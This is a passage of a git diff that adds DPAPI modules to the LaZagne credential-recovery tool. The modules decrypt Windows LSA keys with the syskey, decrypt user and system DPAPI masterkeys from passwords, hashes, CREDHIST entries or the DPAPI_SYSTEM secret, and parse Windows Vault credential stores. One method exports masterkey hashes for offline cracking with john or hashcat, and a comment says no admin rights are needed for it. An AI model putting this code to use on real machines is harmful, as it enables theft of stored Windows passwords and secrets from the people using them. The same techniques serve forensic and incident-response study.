digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information. + + This implementation relies on an RFC compliant HMAC implementation + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name)) + digest.update(nonce) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptDeriveKey(h, cipherAlgo, hashAlgo): + """ + Internal use. Mimics the corresponding native Microsoft function + """ + if len(h) > hashAlgo.blockSize: + h = hashlib.new(hashAlgo.name, h).digest() + if len(h) >= cipherAlgo.keyLength: + return h + h += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() + k = k[:cipherAlgo.keyLength] + k = cipherAlgo.do_fixup_key(k) + return k + + +def decrypt_lsa_key_nt5(lsakey, syskey): + """ + This function decrypts the LSA key using the syskey + """ + dg = hashlib.md5() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[60:76]) + arcfour = RC4(dg.digest()) + deskey = arcfour.encrypt(lsakey[12:60]) + return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] + + +def decrypt_lsa_key_nt6(lsakey, syskey): + """ + This function decrypts the LSA keys using the syskey + """ + dg = hashlib.sha256() + dg.update(syskey) + for i in range(1000): + dg.update(lsakey[28:60]) + + k = AESModeOfOperationECB(dg.digest()) + keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)]) + + size = struct.unpack_from("> 1) + des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2)) + des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3)) + des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4)) + des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5)) + des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6)) + des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7)) + des_key.append(char_to_int(block_key[6]) & 0x7F) + des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) + + decrypted_data += des(des_key, ECB).decrypt(enc_block) + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + dec_data_len = struct.unpack(" (3, 0): + tmp += struct.pack(">B", x ^ y) + else: + tmp += chr(char_to_int(x) ^ char_to_int(y)) + derived = tmp + buff += derived + return buff[:int(keylen)] + + +def derivePwdHash(pwdhash, sid, digest='sha1'): + """ + Internal use. Computes the encryption key from a user's password hash + """ + return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + +def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): + """ + Internal use. Decrypts data stored in DPAPI structures. + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) + key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):] + key = key[:int(cipherAlgo.keyLength)] + iv = iv[:int(cipherAlgo.ivLength)] + + if "AES" in cipherAlgo.name: + cipher = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)]) + else: + cipher = cipherAlgo.module(key, CBC, iv) + cleartxt = cipher.decrypt(raw) + return cleartxt + + +def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): + """ + Internal function used to compute HMACs of DPAPI structures + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) + encKey.update(hmacSalt) + encKey = encKey.digest() + rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) + rv.update(value) + return rv.digest() diff --git a/lazagne/config/DPAPI/eater.py b/lazagne/config/DPAPI/eater.py new file mode 100644 index 0000000..cadb13f --- /dev/null +++ b/lazagne/config/DPAPI/eater.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +## ## +## This file is part of DPAPIck ## +## Windows DPAPI decryption & forensic toolkit ## +## ## +## ## +## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +## This document is the property of Cassidian SAS, it may not be copied or ## +## circulated without prior licence ## +## ## +## Author: Jean-Michel Picod ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import struct + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ["<", ">", "!", "@"]: + fmt = self.endianness+fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + diff --git a/lazagne/config/DPAPI/masterkey.py b/lazagne/config/DPAPI/masterkey.py new file mode 100644 index 0000000..63d4545 --- /dev/null +++ b/lazagne/config/DPAPI/masterkey.py @@ -0,0 +1,460 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from . import crypto +from .credhist import CredHistFile +from .system import CredSystem +from .eater import DataStruct, Eater +from collections import defaultdict + +import codecs +import hashlib +import struct +import os + +from lazagne.config.constant import constant + + +class MasterKey(DataStruct): + """ + This class represents a MasterKey block contained in a MasterKeyFile + """ + + def __init__(self, raw=None): + self.decrypted = False + self.key = None + self.key_hash = None + self.hmacSalt = None + self.hmac = None + self.hmacComputed = None + self.cipherAlgo = None + self.hashAlgo = None + self.rounds = None + self.iv = None + self.version = None + self.ciphertext = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.iv = data.eat("16s") + self.rounds = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.ciphertext = data.remain() + + def decrypt_with_hash(self, sid, pwdhash): + """ + Decrypts the masterkey with the given user's hash and SID. + Simply computes the corresponding key then calls self.decrypt_with_key() + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid)) + + def decrypt_with_password(self, sid, pwd): + """ + Decrypts the masterkey with the given user's password and SID. + Simply computes the corresponding key, then calls self.decrypt_with_hash() + """ + try: + pwd = pwd.encode("UTF-16LE") + except Exception: + return + + for algo in ["sha1", "md4"]: + self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest()) + if self.decrypted: + break + + def decrypt_with_key(self, pwdhash): + """ + Decrypts the masterkey with the given encryption key. + This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one. + Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return. + """ + if self.decrypted or not pwdhash: + return + + # Compute encryption key + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, + self.rounds) + self.key = cleartxt[-64:] + hmacSalt = cleartxt[:16] + hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)] + hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key) + self.decrypted = hmac == hmacComputed + if self.decrypted: + self.key_hash = hashlib.sha1(self.key).digest() + + +class CredHist(DataStruct): + """This class represents a Credhist block contained in the MasterKeyFile""" + + def __init__(self, raw=None): + self.version = None + self.guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + +class DomainKey(DataStruct): + """This class represents a DomainKey block contained in the MasterKeyFile. + + Currently does nothing more than parsing. Work on Active Directory stuff is + still on progress. + + """ + + def __init__(self, raw=None): + self.version = None + self.secretLen = None + self.accesscheckLen = None + self.guidKey = None + self.encryptedSecret = None + self.accessCheck = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.secretLen = data.eat("L") + self.accesscheckLen = data.eat("L") + self.guidKey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.encryptedSecret = data.eat("%us" % self.secretLen) + self.accessCheck = data.eat("%us" % self.accesscheckLen) + + +class MasterKeyFile(DataStruct): + """ + This class represents a masterkey file. + """ + + def __init__(self, raw=None): + self.masterkey = None + self.backupkey = None + self.credhist = None + self.domainkey = None + self.decrypted = False + self.version = None + self.guid = None + self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + data.eat("2L") + self.guid = data.eat("72s").replace(b"\x00", b"") + data.eat("2L") + self.policy = data.eat("L") + self.masterkeyLen = data.eat("Q") + self.backupkeyLen = data.eat("Q") + self.credhistLen = data.eat("Q") + self.domainkeyLen = data.eat("Q") + + if self.masterkeyLen > 0: + self.masterkey = MasterKey() + self.masterkey.parse(data.eat_sub(self.masterkeyLen)) + if self.backupkeyLen > 0: + self.backupkey = MasterKey() + self.backupkey.parse(data.eat_sub(self.backupkeyLen)) + if self.credhistLen > 0: + self.credhist = CredHist() + self.credhist.parse(data.eat_sub(self.credhistLen)) + if self.domainkeyLen > 0: + self.domainkey = DomainKey() + self.domainkey.parse(data.eat_sub(self.domainkeyLen)) + + def get_key(self): + """ + Returns the first decrypted block between Masterkey and BackupKey. + If none has been decrypted, returns the Masterkey block. + """ + if self.masterkey.decrypted: + return self.masterkey.key or self.masterkey.key_hash + elif self.backupkey.decrypted: + return self.backupkey.key + return self.masterkey.key + + def jhash(self, sid=None, context='local'): + """ + Compute the hash used to be bruteforced. + From the masterkey field of the mk file => mk variable. + """ + if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower(): + version = 1 + hmac_algo = 'sha1' + cipher_algo = 'des3' + + elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower(): + version = 2 + hmac_algo = 'sha512' + cipher_algo = 'aes256' + + else: + return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format( + cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo) + + context_int = 0 + if context == "domain": + context_int = 2 + elif context == "local": + context_int = 1 + + return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format( + version=version, + context=context_int, + sid=sid, + cipher_algo=cipher_algo, + hmac_algo=hmac_algo, + rounds=self.masterkey.rounds, + iv=self.masterkey.iv.encode("hex"), + size=len(self.masterkey.ciphertext.encode("hex")), + ciphertext=self.masterkey.ciphertext.encode("hex") + ) + + +class MasterKeyPool(object): + """ + This class is the pivot for using DPAPIck. + It manages all the DPAPI structures and contains all the decryption intelligence. + """ + + def __init__(self): + self.keys = defaultdict( + lambda: { + 'password': None, # contains cleartext password + 'mkf': [], # contains the masterkey file object + } + ) + self.mkfiles = [] + self.credhists = {} + self.mk_dir = None + self.nb_mkf = 0 + self.nb_mkf_decrypted = 0 + self.preferred_guid = None + self.system = None + + def add_master_key(self, mkey): + """ + Add a MasterKeyFile is the pool. + mkey is a string representing the content of the file to add. + """ + mkf = MasterKeyFile(mkey) + self.keys[mkf.guid]['mkf'].append(mkf) + + # Store mkfile object + self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable + + def load_directory(self, directory): + """ + Adds every masterkey contained in the given directory to the pool. + """ + if os.path.exists(directory): + self.mk_dir = directory + for k in os.listdir(directory): + try: + with open(os.path.join(directory, k), 'rb') as f: + self.add_master_key(f.read()) + self.nb_mkf += 1 + except Exception: + pass + return True + return False + + def get_master_keys(self, guid): + """ + Returns an array of Masterkeys corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('mkf') + + def get_password(self, guid): + """ + Returns the password found corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('password') + + def add_credhist_file(self, sid, credfile): + """ + Adds a Credhist file to the pool. + """ + if os.path.exists(credfile): + try: + with open(credfile) as f: + self.credhists[sid] = CredHistFile(f.read()) + except Exception: + pass + + def get_preferred_guid(self): + """ + Extract from the Preferred file the associated GUID. + This guid represent the preferred masterkey used by the system. + This means that it has been encrypted using the current password not an older one. + """ + if self.preferred_guid: + return self.preferred_guid + + if self.mk_dir: + preferred_file = os.path.join(self.mk_dir, u'Preferred') + if os.path.exists(preferred_file): + with open(preferred_file, 'rb') as pfile: + GUID1 = pfile.read(8) + GUID2 = pfile.read(8) + + GUID = struct.unpack("HLH", GUID2) + self.preferred_guid = b"%s-%s-%s-%s-%s%s" % ( + format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'), + format(GUID2[1], '08x'), format(GUID2[2], '04x')) + return self.preferred_guid.encode() + + return False + + def get_cleartext_password(self, guid=None): + """ + Get cleartext password if already found of the associated guid. + If not guid specify, return the associated password of the preferred guid. + """ + if not guid: + guid = self.get_preferred_guid() + + if guid: + return self.get_password(guid) + + def get_dpapi_hash(self, sid, context='local'): + """ + Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat. + No admin privilege are required to extract it. + :param context: expect local or domain depending of the windows environment. + """ + + self.get_preferred_guid() + + for mkf in self.mkfiles: + if self.preferred_guid == mkf.guid: + return mkf.jhash(sid=sid, context=context) + + def add_system_credential(self, blob): + """ + Adds DPAPI_SYSTEM token to the pool. + blob is a string representing the LSA secret token + """ + self.system = CredSystem(blob) + + def try_credential(self, sid, password=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential(sid, password)) + """ + + # Check into cache to gain time (avoid checking twice the same thing) + if constant.dpapi_cache.get(sid): + if constant.dpapi_cache[sid]['password'] == password: + if constant.dpapi_cache[sid]['decrypted']: + return True, '' + else: + return False, '' + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + if mk: + mk.decrypt_with_password(sid, password) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_password(password) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid.decode()) + self.credhists[sid].valid = True + + constant.dpapi_cache[sid] = { + 'password': password, + 'decrypted': mk.decrypted + } + + if mk.decrypted: + # Save the password found + self.keys[mkf.guid]['password'] = password + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'{password} ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + else: + yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + def try_credential_hash(self, sid, pwdhash=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_hash(sid, pwdhash) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_hash(pwdhash) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield True, u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid) + self.credhists[sid].valid = True + break + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(), + masterkey=mkf.guid.decode()) + else: + yield False, u'{hash} not ok for masterkey {masterkey}'.format( + hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) + + def try_system_credential(self): + """ + Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key + Should be called as a generator (ex: for r in try_system_credential()) + """ + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_key(self.system.user) + if not mk.decrypted: + mk.decrypt_with_key(self.system.machine) + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode()) + else: + yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format( + masterkey=mkf.guid.decode()) diff --git a/lazagne/config/DPAPI/system.py b/lazagne/config/DPAPI/system.py new file mode 100644 index 0000000..aaf53f8 --- /dev/null +++ b/lazagne/config/DPAPI/system.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .eater import DataStruct + + +class CredSystem(DataStruct): + """ + This represents the DPAPI_SYSTEM token which is stored as an LSA secret. + + Sets 2 properties: + self.machine + self.user + """ + + def __init__(self, raw=None): + self.revision = None + self.machine = None + self.user = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.revision = data.eat("L") + self.machine = data.eat("20s") + self.user = data.eat("20s") diff --git a/lazagne/config/DPAPI/vault.py b/lazagne/config/DPAPI/vault.py new file mode 100644 index 0000000..d4ea508 --- /dev/null +++ b/lazagne/config/DPAPI/vault.py @@ -0,0 +1,491 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import codecs +import struct + +from .blob import DPAPIBlob +from .eater import DataStruct, Eater +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from lazagne.config.winstructure import char_to_int + +import os + +AES_BLOCK_SIZE = 16 + +# =============================================================================== +# VAULT POLICY file structs +# =============================================================================== + + +class VaultPolicyKey(DataStruct): + """ + Structure containing the AES key used to decrypt the vcrd files + """ + def __init__(self, raw=None): + # self.size = None + self.unknown1 = None + self.unknown2 = None + self.dwMagic = None + self.dwVersion = None + self.cbKeyData = None + self.key = None + DataStruct.__init__(self, raw) + + def parse(self, data): + # self.size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.dwMagic = data.eat("L") # Constant: 0x4d42444b + self.dwVersion = data.eat("L") + self.cbKeyData = data.eat("L") + if self.cbKeyData > 0: + # self.key = data.eat_sub(self.cbKeyData) + self.key = data.eat(str(self.cbKeyData) + "s") + + + +class VaultPolicyKeys(DataStruct): + """ + Structure containing two AES keys used to decrypt the vcrd files + - First key is an AES 128 + - Second key is an AES 256 + """ + def __init__(self, raw=None): + self.vpol_key1_size = None + self.vpol_key1 = None + self.vpol_key2_size = None + self.vpol_key2 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.vpol_key1_size = data.eat("L") + if self.vpol_key1_size > 0: + self.vpol_key1 = VaultPolicyKey() + self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size)) + + self.vpol_key2_size = data.eat("L") + if self.vpol_key2_size > 0: + self.vpol_key2 = VaultPolicyKey() + self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size)) + + +class VaultPolicy(DataStruct): + """ + Policy.vpol file is a DPAPI blob with an header containing a textual description + and a GUID that should match the Vault folder name + Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files. + """ + def __init__(self, raw=None): + self.version = None + self.guid = None + self.description = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + # VPOL_STORE + self.size = None + self.unknown4 = None + self.unknown5 = None + # DPAPI_BLOB_STORE + self.blob_store_size = None + self.blob_store_raw = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + # VPOL_STORE + self.size = data.eat("L") + self.unknown4 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.unknown5 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + # DPAPI_BLOB_STORE + self.blob_store_size = data.eat("L") + if self.blob_store_size > 0: + self.blob_store_raw = DPAPIBlob() + self.blob_store_raw.parse(data.eat_sub(self.blob_store_size)) + +# =============================================================================== +# VAULT file structs +# =============================================================================== + + +class VaultAttribute(DataStruct): + """ + This class contains the encrypted data we are looking for (data + iv) + """ + def __init__(self, raw=None): + self.id = None + self.attr_unknown_1 = None + self.attr_unknown_2 = None + self.attr_unknown_3 = None + self.padding = None + self.attr_unknown_4 = None + self.size = None + # VAULT_ATTRIBUTE_ENCRYPTED + self.has_iv = None + self.iv_size = None + self.iv = None + self.data = None + self.stream_end = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.attr_unknown_1 = data.eat("L") + self.attr_unknown_2 = data.eat("L") + self.attr_unknown_3 = data.eat("L") + # self.padding = data.eat("6s") + if self.id >= 100: + self.attr_unknown_4 = data.eat("L") + self.size = data.eat("L") + if self.size > 0: + self.has_iv = ord(data.eat("1s")) + + if self.has_iv == 1: + self.iv_size = data.eat("L") + self.iv = data.eat(str(self.iv_size)+ "s") + self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s") + else: + self.data = data.eat(str(self.size - 1) + "s") + + +class VaultAttributeMapEntry(DataStruct): + """ + This class contains a pointer on VaultAttribute structure + """ + def __init__(self, raw=None): + self.id = None + self.offset = None + self.attr_map_entry_unknown_1 = None + self.pointer = None + self.extra_entry = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.offset = data.eat("L") + self.attr_map_entry_unknown_1 = data.eat("L") + + +class VaultVcrd(DataStruct): + """ + vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret + """ + def __init__(self, raw=None): + self.schema_guid = None + self.vcrd_unknown_1 = None + self.last_update = None + self.vcrd_unknown_2 = None + self.vcrd_unknown_3 = None + self.description = None + self.attributes_array_size = None + self.attributes_num = None + self.attributes = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.vcrd_unknown_1 = data.eat("L") + self.last_update = data.eat("Q") + self.vcrd_unknown_2 = data.eat("L") + self.vcrd_unknown_3 = data.eat("L") + self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.attributes_array_size = data.eat("L") + # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY + self.attributes_num = self.attributes_array_size // 12 + for i in range(self.attributes_num): + # 12: size of VaultAttributeMapEntry Structure + v_map_entry = VaultAttributeMapEntry(data.eat("12s")) + self.attributes.append(v_map_entry) + +# =============================================================================== +# VAULT schemas +# =============================================================================== + + +class VaultVsch(DataStruct): + """ + Vault Schemas + Vault file partial parsing + """ + def __init__(self, raw=None): + self.version = None + self.schema_guid = None + self.vault_vsch_unknown_1 = None + self.count = None + self.schema_name = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + self.vault_vsch_unknown_1 = data.eat("L") + self.count = data.eat("L") + self.schema_name = data.eat_length_and_string("L").replace(b"\x00", b"") + + +class VaultAttributeItem(object): + def __init__(self, id_, item): + self.id = id_ + self.item = codecs.encode(item, 'hex') + + +class VaultSchemaGeneric(DataStruct): + """ + Generic Vault Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_generic_unknown1 = None + self.attribute_item = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_generic_unknown1 = data.eat("L") + for i in range(self.count): + self.attribute_item.append( + VaultAttributeItem( + id_=data.eat("L"), + item=data.eat_length_and_string("L").replace(b"\x00", b"") + ) + ) + +# Vault Simple Schema + +# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter( +# Struct( +# 'data' / GreedyRange(Byte), +# ) +# ) + + +class VaultSchemaPin(DataStruct): + """ + PIN Logon Vault Resource Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_pin_unknown1 = None + self.id_sid = None + self.sid_len = None + self.sid = None + self.id_resource = None + self.resource = None + self.id_password = None + self.password = None + self.id_pin = None + self.pin = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_pin_unknown1 = data.eat("L") + self.id_sid = data.eat("L") + self.sid_len = data.eat("L") + if self.sid_len > 0: + self.sid = data.eat_sub(self.sid_len) + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") + self.id_password = data.eat("L") + self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") # Password + self.id_pin = data.eat("L") + self.pin = data.eat_length_and_string("L") + + +class VaultSchemaWebPassword(DataStruct): + """ + Windows Web Password Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_web_password_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + 